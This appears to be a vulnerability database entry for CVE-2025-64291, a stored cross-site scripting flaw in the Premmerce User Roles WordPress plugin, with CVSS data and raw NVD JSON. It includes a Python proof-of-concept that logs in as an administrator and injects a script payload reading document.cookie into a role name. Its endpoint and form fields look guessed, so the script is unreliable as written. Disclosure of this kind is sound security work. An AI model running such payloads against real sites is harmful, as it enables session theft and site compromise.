Security Vulnerability Report
中文
CVE-2025-64291 CVSS 5.9 MEDIUM

CVE-2025-64291

Published: 2025-10-29 09:15:47
Last Modified: 2026-04-15 00:35:42

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Premmerce Premmerce User Roles premmerce-user-roles allows Stored XSS.This issue affects Premmerce User Roles: from n/a through <= 1.0.13.

CVSS Details

CVSS Score
5.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Premmerce User Roles <= 1.0.13

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import re # CVE-2025-64291 PoC - Stored XSS in Premmerce User Roles # Target: WordPress site with Premmerce User Roles plugin <= 1.0.13 target_url = "http://target-wordpress-site.com" username = "admin" password = "admin_password" session = requests.Session() # Step 1: Login to WordPress login_url = f"{target_url}/wp-login.php" login_data = { "log": username, "pwd": password, "wp-submit": "Log In" } session.post(login_url, data=login_data) # Step 2: Inject XSS payload in role name xss_payload = '<script>alert(document.cookie)</script>' roles_url = f"{target_url}/wp-admin/admin.php?page=premmerce-user-roles" # Craft malicious role with XSS payload role_data = { "role_name": f"Admin{xss_payload}", "role_slug": "admin-xss", "action": "create" } # This would be sent to the vulnerable endpoint response = session.post(roles_url, data=role_data) print("XSS payload injected. Payload will execute when role page is viewed.") print(f"Payload: {xss_payload}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-64291", "sourceIdentifier": "[email protected]", "published": "2025-10-29T09:15:47.430", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Premmerce Premmerce User Roles premmerce-user-roles allows Stored XSS.This issue affects Premmerce User Roles: from n/a through <= 1.0.13."}, {"lang": "es", "value": "Vulnerabilidad de neutralización incorrecta de la entrada durante la generación de páginas web ('Cross-site Scripting') en Premmerce Premmerce User Roles premmerce-user-roles permite XSS almacenado. Este problema afecta a Premmerce User Roles: desde n/a hasta menor igual que 1.0.13."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.7, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/premmerce-user-roles/vulnerability/wordpress-premmerce-user-roles-plugin-1-0-13-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}